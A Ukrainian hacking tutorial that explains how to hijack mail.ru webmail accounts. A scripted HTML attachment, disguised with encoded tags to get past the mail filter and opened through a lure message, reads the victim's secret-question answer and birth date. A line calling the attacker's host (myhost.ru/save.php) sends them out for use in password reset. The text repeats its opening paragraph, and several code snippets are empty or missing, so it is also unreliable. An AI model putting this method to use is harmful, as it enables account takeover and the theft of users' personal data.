Вразливість у поштовій системі

У цій статті буде описано спосіб злому безкоштовних поштових скриньок, що базуються на Web-інтерфейсі. Як приклад я наведу експлоїт для популярної поштової служби mail.ru. Сенс злому має бути зрозумілий відразу. При реєстрації в поштовій системі mail.ru просить користувача ввести реєстраційну інформацію, а також секретне питання та відповідь на це секретне питання.

Сенс: Можливість поцупити відповідь на секретне запитання та дату народження. Потім поміняти пароль, скориставшись системою відновлення пароля.

У цій статті буде описано спосіб злому безкоштовних поштових скриньок, що базуються на Web-інтерфейсі. Як приклад я наведу експлоїт для популярної поштової служби mail.ru. Сенс злому має бути зрозумілий відразу. При реєстрації в поштовій системі mail.ru просить користувача ввести реєстраційну інформацію, а також секретне питання та відповідь на це секретне питання.

Спробуйте зайти до своєї скриньки, зайдіть у розділ "Реєстраційна інформація", і ви побачите відповідь на своє контрольне питання. Тобто mail.ru його не приховує, а явно показує будь-кому, хто відкриє сторінку реєстраційної інформації. Що ми робимо? Ми просто пишемо скрипт, шлемо цей скрипт користувачеві поштової системи. Він відкриває його, а скрипт робить свою чорну справу. Сріпт відкриє сторінку реєстраційної інформації, вважає відповідь на секретне запитання, дату народження та надішле його до нас. От і все! Потім при спробі введення пароля ми скажемо, що не пам'ятаємо його. Mail.ru попросить нас ввести логін, відповідь на запитання та дату народження, після чого запропонує ввести новий пароль. Якщо ви помітите, то реєстраційна інформація зберігається по тому ж url, що весь сеанс, тільки в кінці додається userinfo.

Головною умовою має бути те, щоб користувач переглядав пошту через Web-інтерфейс mail.ru, а не завантажував свою пошту якоюсь поштовою програмою. Це перша умова. Друга умова - це, щоб у користувача була включена обробка скриптів. Це майже завжди включено у звичайного користувача.

Буде використано три скрипти:

Letter.html - файл зі скриптом, який буде надіслано жертві; Scenario.js - сценарій, який крастиме інформацію; Send.html – скрипт для відправлення отриманої інформації нам.

Звичайно, можна було це все написати в одному файлі, але так буде простіше. Чому - ви зрозумієте потім.

Файл letter.html ми шлемо жертві. Роль letter.html дуже проста. Він лише викликає сценарій scenario.js, який лежить на нашому сервері, скажімо, наhttp://myhost.narod.ru/scenario.js. myhost – це ваше ім'я, під яким ви зареєстровані на narod.ru. Mail.ru переглядає вкладені файли і попереджає, якщо в них є срикпти. Цей захист ми обходимо, шляхом вбудовування скрипта в малюнок і заміною тегів їх 10-річними еквівалентами. Отже, файл letter.html:

Але якщо ми надішлемо такий файл, то mail.ru скаже, що він небезпечний, так як знайде в ньому срипти. Тому ми замінимо теги та зліш на їх 10-річні еквіваленти. Тобто замість

Цей код mail.ru вже пропустить без особливих проблем. Letter.html - це лише вкладення. Сам текст листа потрібно зробити таким, щоб жертва відкрила вкладений файл. Ну, можна написати, що там дуже цікава любовна історія, чи там саме та інформація, яку ти просив(а). Це вже ваша фантазія.

Scenario.js (в один рядок)

url=location.href.substring(0,location.href.search('readmsg'));document.write('');document.write("");

Ідеїдалі. document.write(''); Тут ми створюємо рамку розміром 0 на 0. У ньому завантажуємо сторінку з реєстраційною інформацією. Даємо ім'я рамці info, і кажемо, що коли рамка завантажиться, виконати функцію read().

Всі. Тепер залишилося лише передати цей рядок нам. Просто викликаємо скрипт, який зберігає отриману в командному рядку інформацію Ну, наприклад, location.href='http://myhost.ru/save.php?str='+sstr+'url='+url+'msglist';

Якщо немає можливості писати php, то можна зробити ще простіше. Просто створюємо на тому ж анкету, яка надсилає дані на e-mail. Нехай анкета називається send.html. Передаємо наші дані цій анкеті:

У наведеному сценарії саме такий метод використовується. Далі треба змінити код анкети вручну. Наведу приклад того, що має з'явитися в анкеті: